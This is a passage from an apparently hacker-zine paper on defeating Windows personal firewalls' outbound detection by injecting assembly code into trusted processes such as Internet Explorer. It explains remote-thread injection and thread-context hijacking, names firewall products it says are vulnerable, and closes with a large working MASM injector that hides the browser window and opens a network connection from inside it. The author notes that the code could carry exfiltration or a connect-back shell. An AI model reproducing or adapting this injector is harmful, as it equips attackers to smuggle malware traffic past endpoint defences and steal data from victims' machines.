they could actually provide a certain level of security at all:
After all, they are just software supposed protect you against
other software, and this sounds like bad idea to me.

To make a long story short, this outbound detection can be
bypassed, and that's what will be discussed in this paper.
I moreover believe that if it is possible to bypass this one
restriction, it is somehow possible to bypass other restrictions
as well. Personal firewalls are software, trying to control
another piece of software. It should in any case be possible
to turn this around by 180 degrees, and create a piece of
software that controls the software firewall.

Also, how to achieve this in practice is part of the discussion
that will follow: I will not just keep on talking about abstract
theory. It will be explained and illustrated with sample source
code how to bypass a software firewall by injecting code to a
trusted process. It might be interesting to you that the method
of runtime process infection that will be presented and explained
does not require an external DLL - the bypass can be performed
by a stand-alone and tiny executable.

Thus, this paper is also about coding, especially Win32 coding.
To understand the sample code, you should be familiar with
Windows, the Win32 API and basic x86 Assembler. It would also be
good to know something about the PE format and related things,
but it is not necessary, as far as I can see. I will try to
explain everything else as precisely as possible.

Note: If you find numbers enclosed in normal brackets within
the document, these numbers are references to further sources.
See [0x0A] for more details.

-[0x02] :: how software firewalls work -----------------------------------

Of course, I can only speak about the software firewalls I have
seen and tested so far, but I am sure that these applications
are among the most widely used ones. Since all of them work in a
very similar way, I assume that the concept is a general concept
of software firewalls.

Almost every modern software firewall provides features that
simulate the behaviour of hardware firewalls by allowing the
user to block certain ports. I have not had a close look on
these features and once more I want to emphasize that breaking
these restrictions is outside the scope of this paper.

Another important feature of most personal firewalls is the
concept of giving privileges and different levels of trust to
different processes that run on the local machine to provide a
measure of outbound detection. Once a certain executable creates
a process attempting to access the network, the executable file
is checksummed by the software firewall and the user is prompted
whether or not he wants to trust the respective process.

To perform this task, the software firewall is most probably
installing kernel mode drivers and hooks to monitor and intercept
calls to low level networking routines provided by the Windows OS
core. Appropriately, the user can trust a process to connect() to
another host on the Internet, to listen() for connections or to
perform any other familiar networking task. The main point is: As
soon as the user gives trust to an executable, he also gives
trust to any process that has been created from that executable.
However, once we change the executable, its checksum would no
longer match and the firewall would be alerted.

So, we know that the firewall trusts a certain process as long as
the executable that created it remains the same. We also know that
in most cases, a user will trust his webbrowser and his email
client.

-[0x03] :: process Infection without external .dll -----------------------

The software firewall will only calculate and analyze the checksum
for an executable upon process creation. After the process has
been loaded into memory, it is assumed to remain the same until it
terminates.

And since I have already spoken about runtime process infection,
you certainly have guessed what will follow. If we cannot alter
the executable, we will directly go for the process and inject
our code to its memory, run it from there and bypass the firewall
restriction.

If this was a bit too fast for you, no problem. A process is
loaded into random access memory (RAM) by the Windows OS as soon
as a binary, executable file is executed. Simplified, a process
is a chunk of binary data that has been placed at a certain
address in memory. In fact, there is more to it. Windows does a
lot more than just writing binary data to some place in memory.
For making the following considerations, none of that should
bother you, though.

For all of you who are already familiar with means of runtime
process infection - I really dislike DLL injection for this
purpose, simply because there is definitely no option that could
be considered less elegant or less stealthy.

In practice, DLL injection means that the executable that
performs the bypass somehow carries the additional DLL it
requires. Not only does this heaviely increase the size of the
entire code, but this DLL also has to be written to HD on the
affected system to perform the bypass. And to be honest - if
you are really going to write some sort of program that needs
a working software firewall bypass, you exactly want to avoid
this sort of flaws. Therefore, the presented method of runtime
process infection will work completely without the need of any
external DLL and is written in pure x86 Assembly.

To sum it all up: All that is important to us now is the ability
to get access to a process' memory, copy our own code into that
memory and execute the code remotely in the context of that
process.

Sounds hard? Not at all. If you have a well-founded knowledge of
the Win32 API, you will also know that Windows gives a programmer
everything he needs to perform such a task. The most important
API call that comes to mind probably is CreateRemoteThread().
Quoting MSDN (1):

The CreateRemoteThread function creates a thread that
runs in the address space of another process.

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

Great, we can execute code at a certain memory address inside
another process and we can even pass one DWORD of information as
a parameter to it. Moreover, we will need the following 2 API
calls:

VirtualAllocEx()
WriteProcessMemory()

they give us the power to inject our own arbitrary code to the
address space of another process - and once it is there, we will
create a thread remotely to execute it.

To sum everything up: We will create a binary executable that
carries the injection code as well as the code that has to be
injected in order to bypass the software firewall. Or, speaking
in high-level programming terms: We will create an exe file that
holds two functions, one to inject code to a trusted process
and one function to be injected.

-[0x04] :: problems of this implementation -------------------------------

It all sounds pretty easy now, but it actually is not. For
instance, you will barely be able to write an application in C
that properly injects another (static) C function to a remote
process. In fact, I can almost guarantee you that the remote
process will crash. Although you can call the relevant API calls
from C, there are much more underlying problems with using a
high level language for this purpose. The essence of all these
problems can be summed up as follows: compilers produce ASM code
that uses hardcoded offsets. A simple example: Whenever you use
a constant C string, this C string will be stored at a certain
position within the memory of your resulting executable, and any
reference to it will be hardcoded. This means, when your process
needs to pass the address of that string to a function, the
address will be completely hardcoded in the binary code of your
executable.

Consider:

void main() {
printf("Hello World");
return 0;
}

Assume that the string "Hello World" is stored at offset 0x28048
inside your executable. Moreover, the executable is known to
load at a base address of 0x00400000. In this case, the binary
code of your compiled and linked executable will somewhere refer
to the address 0x00428048 directly.

A disassembly of such a sample application, compiled with Visual
C++ 6, looks like this:

00401597 ...
00401598 push 0x00428048 ; the hello world string
0040159D call 0x004051e0 ; address of printf
0040159E ...

What is the problem with such a hardcoded address? If you stay
inside your own address space, there is no problem. However ...
once you move that code to another address space, all those
memory addresses will point to entirely different things. The
hello world string in my example is more than 0x20000 = 131072
bytes away from the actual program code. So, if you inject that
code to another process space, you would have to make sure that
at 0x00428048, there is a valid C string ... and even if there
was something like a C string, it would certainly not be
"Hello World". I guess you get the point.

This is just a simple example and does not even involve all the
problems that can occur. However, also the addresses of all
function calls are hardcoded, like the address of the printf
function in our sample. In another process space, these
functions might be somewhere else or they could even be missing
completely - and this leads to the most weird errors that you
can imagine. The only way to make sure that all the addresses
are correct and that every single CPU instruction fits, we have
to write the injected code in ASM.

Note: There are several working implementations for an outbound
detection bypass for software firewalls on the net using a
dynamic link library injection. This means, the implementation
itself consists of one executable and a DLL. The executable
forces a trusted process to load the DLL, and once it has been
loaded into the address space of this remote process, the DLL
itself performs any arbitrary networking task. This way to bypass
the detection works very well and it can be implemented in a high
level language easiely, but I dislike the dependency on an
external DLL, and therefore I decided to code a solution with one
single stand-alone executable that does the entire injection by
itself. Refer to (2) for an example of a DLL injection bypass.

Also, LSADUMP2 (3) uses exactly the same measure to grab
the LSA secrets from LSASS.EXE and it is written in C.

-[0x05] :: how to implement it -------------------------------------------

Until now, everything is just theory. In practice, you will
always encounter all kinds of problems when writing code like
this. Furthermore, you will have to deal with detail questions
that have only partially to do with the main problem. Thus,
let us leave the abstract part behind and think about how to
write some working code.

Note: I strongly recommend you to browse the source code in
[A] while reading this part, and it would most definitely be a
good idea to have a look at it before reading [0x0B].

First of all, we want to avoid as much hardcoded elements as
possible. And the first thing we need is the file path to the
user's default browser. Rather than generally refering to
"C:\Program Files\Internet Explorer\iexplore.exe", we will
query the registry key at "HKCR\htmlfile\shell\open\command".

Ok, this will be rather easy, I assume you know how to query
the registry. The next thing to do is calling CreateProcess().
The wShowWindow value of the STARTUP_INFO structure passed to
the function should be something like SW_HIDE in order to keep
the browser window hidden.

Note: If you want to make entirely sure that no window is
displayed on the user's screen, you should put more effort
into this. You could, for instance, install a hook to keep all
windows hidden that are created by the process or do similar
things. I have only tested my example with Internet Explorer
and the SW_HIDE trick works well with it. In fact, it should
work with most applications that have a more or less simple
graphical user interface.

To ensure that the process has already loaded the most
essential libraries and has reached a generally stable state,
we use the WaitForInputIdle() call to give the process some
time for intialization.

So far, so good - now we proceed by calling VirtualAllocEx()
to allocate memory within the created process and with
WriteProcessMemory(), we copy our networking code. Finally,
we use CreateRemoteThread() to run that code and then, we only
have to wait until the thread terminates. All in all, the
injection itself is not all that hard to perform.

The function that will be injected can receive a single
argument, one double word. In the example that will be
presented in [0x0B], the injected procedure connects to
www.phrack.org on port 80 and sends a simple HTTP GET request.
After receiving the header, it displays it in a message box.
Since this is just a very basic example of a working firewall
bypass code, our injected procedure will do everything on its
own and does not need any further information.

However, we will still use the parameter to pass a 32 bit
value to our injected procedure: its own "base address". Thus,
the injected code knows at which memory address it has been
placed, in the conetxt of the remote process. This is very
important as we cannot directly read from the EIP register
and because our injected code will sometimes have to refer to
memory addresses of data structures inside the injected code
itself.

Once injected and placed within the remote process, the
injected code basically knows nothing. The first important
task is finding the kernel32.dll base address in the context
of the remote process and from there, get the address of the
GetProcAddress function to load everything else we need. I
will not explain in detail how these values are retrieved,
the entire topic cannot be covered by this paper. If you are
interested in details, I recommend the paper about Win32
assembly components by the Last Stage of Delirium research
group (4). I used large parts of their write-up for the
code that will be described in the following paragraphs.

In simple terms, we retrieve the kernel32 base address from
the Process Environment Block (PEB) structure which itself
can be found inside the Thread Environment Block (TEB). The
offset of the TEB is always stored within the FS register,
thus we can easiely get the PEB offset as well. And since
we know where kernel32.dll has been loaded, we just need to
loop through its exports section to find the address of
GetProcAddress(). If you are not familiar with the PE format,
don't worry.

A dynamic link library contains a so-called exports section.
Within this section, the offsets of all exported functions
are assigned to human-readable names (strings). In fact,
there are two arrays inside this section that interest us.
There are actually more than 2 arrays inside the exports
section, but we will only use these two lists. For the rest
of this paper, I will treat the terms "list" and "array"
equally, the formal difference is of no importance at this
level of programming. One array is a list of standard,
null-terminated C-strings. They contain the function names.
The second list holds the function entry points (the
offsets).

We will do something very similar to what GetProcAddress()
itself does: We will look for "GetProcAddress" in the first
list and find the function's offset within the second array
this way.

Unfortunately, Microsoft came up with an idea for their DLL
exports that makes everything much more complicated. This
idea is named "forwarders" and basically means that one DLL
can forward the export of a function to another DLL. Instead
of pointing to the offset of a function's code inside the DLL,
the offset from the second array may also point to a null-
terminated string. For instance, the function HeapAlloc() from
kernel32.dll is forwarded to the RtlAllocateHeap function in
ntdll.dll. This means that the alleged offset of HeapAlloc()
in kernel32.dll will not be the offset of a function that has
been implemented in kernel32.dll, but it will actually be the
offset of a string that has been placed inside kernel32.dll.
This particular string is "NTDLL.RtlAllocateHeap".

After a while, I could figure out that this forwarder-string
is placed immediately after the function's name in array #1.
Thus, you will find this chunk of data somewhere inside
kernel32.dll:

48 65 61 70 41 6C 6C 6F HeapAllo
63 00 4E 54 44 4C 4C 2E c.NTDLL.
52 74 6C 41 6C 6C 6F 63 RtlAlloc
61 74 65 48 65 61 70 00 ateHeap.

= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"

This is, of course, a bit confusing as there are now more null-
terminated strings in the first list than offsets in the second
list - every forwarder seems like a function name itself.
However, bearing this in mind, we can easiely take care of the
forwarders in our code.

To identify the "GetProcAddress" string, I also make use of a
hash function for short strings which is presented by LSD group
in their write-up (4). The hash function looks like this in C:

unsigned long hash(const char* strData) {
unsigned long hash = 0;
char* tChar = (char*) strData;
while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
return hash;
}

The calculated hash for "GetProcAddr" is, 0x099C95590 and we
will search for a string in the exports section of kernel32.dll
that matches this string. Once we have the address of
GetProcAddress() and the base address of kernel32, we can
easiely load all other API calls and libraries we need. From
here, everything left to do is loading ws2_32.dll and using the
socket system calls from that library to do whatever we want.

Note: I'd suggest to read [0x0B] now.

-[0x06] :: limits of this implementation ---------------------------------

The sample code presented in this little paper will give you a
tiny executable that runs in RING3. I am certain that most
software firewalls contain kernel mode drivers with the ability
to perform more powerful tasks than this injector executable.
Therefore, the capabilities of the bypass code are obviously
limited. I have tested the bypass against several software
firewalls and got the following results:

Zone Alarm 4 vulnerable
Zone Alarm Pro 4 vulnerable
Sygate Pro 5.5 vulnerable
BlackIce 3.6 vulnerable
Tiny 5.0 immune

Tiny alerts the user that the injector executable spawns the
browser process, trying to access the network this way. It looks
like Tiny simply acts exactly like all the other software
firewalls do, but it is just more careful. Tiny also hooks API
calls like CreateProcess() and CreateRemoteThread() - thus, it
can protect its users from this kind of bypass.

Anyway, by the test results I obtained, I was even more
confirmed that software firewalls act as kernel mode drivers,
hooking API calls to monitor networking activity.

Thus, I have not presented a firewall bypass that works in 100%
of all possible cases. It is just an example, a proof for the
general possibility to perform a bypass.

-[0x07] :: workaround: another infection method --------------------------

Phrack Staff suggested to present a workaround for the problem
with Tiny by infecting an already running, trusted process.
I was certain that this would not be the only thing to take
care of, since Tiny would most likely be hooking our best friend,
CreateRemoteThread(). Unfortunately, I actually figured out that
I had been right, and merely infecting an already running
process did not work against Tiny.

However, there are other ways to force execution of our own
injected code, and I will briefly explain my workaround for
those of you who are interested. All I am trying to prove here
is that you can outsmart any software firewall if you put some
effort into coding an appropriate bypass.

The essential API calls we will need are GetThreadContext() and
appropriately, SetThreadContext(). These two briefly documented
functions allow you to modify the CONTEXT of a thread. What is
the CONTEXT of a thread? The CONTEXT structure contains the
current value of all CPU registers in the context of a certain
thread. Hence, with the two API calls mentioned above, you can
retrieve these values and, more importantly, apply new values
to each CPU register in the thread's context as well. Of high
interest to us is the EIP register, the instruction pointer for
a thread.

First of all, we will simply find an already running, trusted
process. Then, as always, we write our code to its memory using
the methods already discussed before. This time, however, we
will not create a new thread that starts at the address of our
injected code, we will rather hijack the primary thread of the
trusted process by changing its instruction pointer to the
address of our own code.

That's the essential theory behind this second bypass, at least.
In practice, we will proceed more cautiously to be as stealthy
as possible. First of all, we will not simply write the injection
function to the running process, but several other ASM codes as
well, in order to return to the original context of the hijacked
thread once our injected code has finished its work. As you can
see from the ASM source code in [0x0C], we want to copy a chunk
of shellcode to the process that looks like this in a debugger:

<base + 0x00> PUSHAD ; safe all registers
<base + 0x01> PUSHFD ; safe all flags
<base + 0x02> PUSH <base + 0x13> ; first argument: own address
<base + 0x07> CALL <base + 0x13> ; call the injected code
<base + 0x0C> POPFD ; restore flags
<base + 0x0D> POPAD ; restore registers
<base + 0x0E> JMP <orignal EIP> ; "restore" original context
<base + 0x13> ... ; inject function starts here

Remember, this code is being injected at a memory offset very
far away from the original context of the thread. That's why
we will need a 4 byte - relative address for the JMP.

All in all, this is an easy and simple solution to avoid that
our trusted process just crashes after the injected code has
run. Moreover, I decided to use an event object that becomes
signaled by the injected code once the HTTP request has been
performed successfully. This way, the injector executable
itself is informed once the injected routine has finished its
job. We can then deallocate the remote memory and perform a
general cleanup. Stealthieness is everything.

I should say that [0x0C] is a bit more fragile and less reliable
than the first bypass shown in [0x0B]. However, this second one
will definitely work against all tested firewalls and most
probably also against others. Nevertheless, you should bear in
mind that it assumes Internet Explorer to be a trusted process
without looking up anything in the registry or elsewhere.

Furthermore, I only used this second bypass together with a
running instance of Internet Explorer, other applications might
require you not to hijack the primary thread, but another one.
The primary thread is usually a safe bet as we can assume that
it does not block or idle at the moment of infection. However,
it could theoretically also happen that the program's interface
suddenly freezes because the injected code is running rather
than the code that was intended to run. With this very sample
program and internet explorer, I did not encounter such
problems, though. It also works with "OUTLOOK.EXE" and others,
so I think it can be considered a good and stable approach.

-[0x08] :: conclusion ----------------------------------------------------

I feel that I can be satisfied with the test results I obtained.
Although the injector executable is generally inferior to a
kernel mode software firewall, it could easiely trick 80% of the
most popular software firewall products.

My second bypass even works against all of them, and I am as sure
as I can be that an appropriate bypass can actually be coded for
every single software firewall. Both of the sample codes merely
send a simple HTTP request, but it would actually be quite easy
to have them perform any other networking task. For instance,
sending an email with sensitive information would work exactly
the same way. The injected code would just have to be more
sophisticated or rather, larger than the sample provided here.

Bearing in mind that I achieved this with a 5k user-mode
application, I am certain that it would be even more easy to
bypass any software firewall with an appropriate piece of code
running in RING0, eventually hooking low level calls itself.
Who knows, perhaps this technique is already being used by
people who did the same sort of research. The overall conclusion
is: software firewalls are insecure. And I am very much at ease
with this generalization: The concept of a software firewall,
not the implementation, is the main problem.

Software can not protect you from other software without being
at constant risk to be tricked by another piece of software
again.

Why is this a risk? This is in fact a huge risk because software
firewalls ARE being used on Windows Workstations widely. Within
a network, it is commonplace to use both software and hardware
firewalls. Moreover, the software firewalls in such networks only
serve the very purpose of protecting the network from backdoor
programs by supplying some sort of outbound detection. And after
all, this protection is obviously too weak.

Apart from the danger for privately used computers, which have
hereby been proven to be insufficiently protected against trojan
horses and worms, exploitation of a remote Windows Workstation
using a software firewall can most definitely involve the use of
methods described in this paper. The ASM code for the two bypass
samples can be transformed into shellcode for any remote Windows
exploit. Once a service a Windows network is found to be
vulnerable to a remote exploit, it would be also possible to
overcome the outbound detection of the respective software
firewall this way.

The sample applications connect to www.phrack.org on port 80,
but you can actually infect a trusted process and have it
do about anything along the lines of providing a shell by
connecting back to your IP.

-[0x09] :: Last Words ----------------------------------------------------

I'd like to emphasize that I am not responsible for anyone using
that sample code with his/her homemade trojan to leech porn from
his friend's PC. Seriously, this is just a sample for educational
purposes, it should not be used for any kind of illegal purpose.

Thanks a lot to Paris2K for helping me with developing and
testing the injector app. Good luck and success with your thesis.

Greets and thanks to drew, cube, the_mystic - and also many
thanks to you, jason ... for all your helpful advice.

If you want or need to contact me:

Email, MSN - rattle@awarenetwork.org
ICQ - 74684282
Website - http://www.awarenetwork.org/

.aware

-[0x0A] :: References ----------------------------------------------------

These are links to projects and papers that have been
referenced somewhere inside this document.

(1) The MSDN library provides Windows programmers with almost
all the reference they need, no doubt about that.

 http://msdn.microsoft.com/

(2) Another project that bypasses the outbound detection
of software firewalls. Unfortunately, no source code
is available and it also uses and external DLL:

 http://keir.net/firehole.html

(3) LSADUMP2 is the only C source code I found that
illustrates the method of injecting a DLL into another
process' address space:

 http://razor.bindview.com/tools/desc/lsadump2_readme.html

(4) Many respect to the LSD research group for their nice
and easy-to-read paper "Win32 Assembly Components":

 http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

Perhaps you might want to check out their entire projects
section:

 http://lsd-pl.net/projects.html

(5) Negatory Assembly Studio is my favourite x86 ASM IDE,
as far as an IDE for Assembly makes sense at all. You
might need it for the ASM source code provided as I
make use of it's "standard library" for Win32 calls:

 http://www.negatory.com/asmstudio/

-[0x0B] :: injector.exe source code --------------------------------------

Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).

.386
.MODEL flat, stdcall

INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc

bypass PROTO NEAR STDCALL, browser:DWORD ; injector function
inject PROTO NEAR STDCALL, iBase:DWORD ; injected function

; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.

PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM

; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM

EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM

.DATA

sFail DB "Injection failed.",0
sCapFail DB "Failure",0

REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
REG_BROWSER_KEY DD ?

BROWSER DB MAX_PATH DUP(0)
BR_SIZE DD MAX_PATH

FUNCSZE EQU inject_end - inject

.CODE

Main: ; We retrieve the defaul browser path from the
; registry by querying HKCR\htmlfile\shell\open\command

INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \
ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

CMP EAX, ERROR_SUCCESS
JNE RR

INVOKE RegQueryValue, REG_BROWSER_KEY, \
EAX, ADDR BROWSER, ADDR BR_SIZE

INVOKE RegCloseKey, REG_BROWSER_KEY

; Now we call the bypass function by supplying the
; path to the browser as the first argument.

INVOKE bypass, OFFSET BROWSER

RR: INVOKE ExitProcess, 0

bypass PROC NEAR STDCALL, browser:DWORD

LOCAL sinf :STARTUPINFO
LOCAL pinf :PROCESS_INFORMATION

LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; thread ID
LOCAL thRemoteThreadHandle :DWORD ; thread handle
LOCAL pbRemoteMemory :DWORD ; base address

; Get our own startupinfo details out of lazieness
; and alter the wShowWindow attribute to SW_HIDE

INVOKE GetStartupInfo,ADDR sinf
MOV sinf.wShowWindow, SW_HIDE

; Create the brwoser process and WaitForinputIdle()
; to give it some time for initialization

INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
ADDR sinf,ADDR pinf
EJUMP ERR_CLEAN

INVOKE WaitForInputIdle, pinf.hProcess, 10000
CMP EAX,0
JNE ERR_CLEAN

MOV EBX, pinf.hProcess
MOV ECX, pinf.hThread

; Allocate memory in the remote process' address
; space and use WriteProcessMemory() to copy the
; code of the inject procedure.

MOV EDX, FUNCSZE
INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
PAGE_EXECUTE_READWRITE
EJUMP ERR_SUCC

MOV pbRemoteMemory,EAX
MOV EDX,FUNCSZE

INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
inject, EDX, 0
EJUMP ERR_CLEAN_VF

; The code has been copied, create a thread that
; starts at the remote address

INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP ERR_CLEAN_TH

MOV thRemoteThreadHandle,EAX
MOV dwReturn,0

; Wait until the remote thread terminates and see what the
; return value looks like. The inject procedure will return
; a boolean value in EAX, indicating whether or not it was
; successful.

INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn

; If the return value equals 0, an error has occured and we
; will display a failure MessageBox()

CMP dwReturn, 0
JNE ERR_CLEAN_TH

INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16

ERR_CLEAN_TH:
INVOKE CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
INVOKE TerminateProcess, EBX, 0
INVOKE CloseHandle,pinf.hThread
INVOKE CloseHandle,pinf.hProcess
ERR_SUCC:
RET

bypass ENDP

inject PROC NEAR STDCALL, iBase:DWORD

LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD

LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD

JMP IG

sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0

sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0

wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0

sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0

sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org ",\
13,10,13,10,0

sCap DB "Injection successful",0
sRepl DB 601 DUP(0)

IG: ASSUME FS:NOTHING ; This is a MASM error bypass.

MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X

WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done

W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially

MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron

ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address

MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address

MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping

M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash

HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH

; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.

PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name

MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.

; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.

CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder

FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1

; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary

PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it

PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX

LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose

PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR

PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX

PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.

MOV ECX, 0 ; number of bytes received

PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject

ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX

PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte

POP ECX
POP EDX

CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes

MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.

PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP

PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket

PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org 's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.

JMP INJECT_SUCCESS ; we were successful.

INJECT_SUCCESS:
MOV EAX, 1 ; return values are passed in EAX
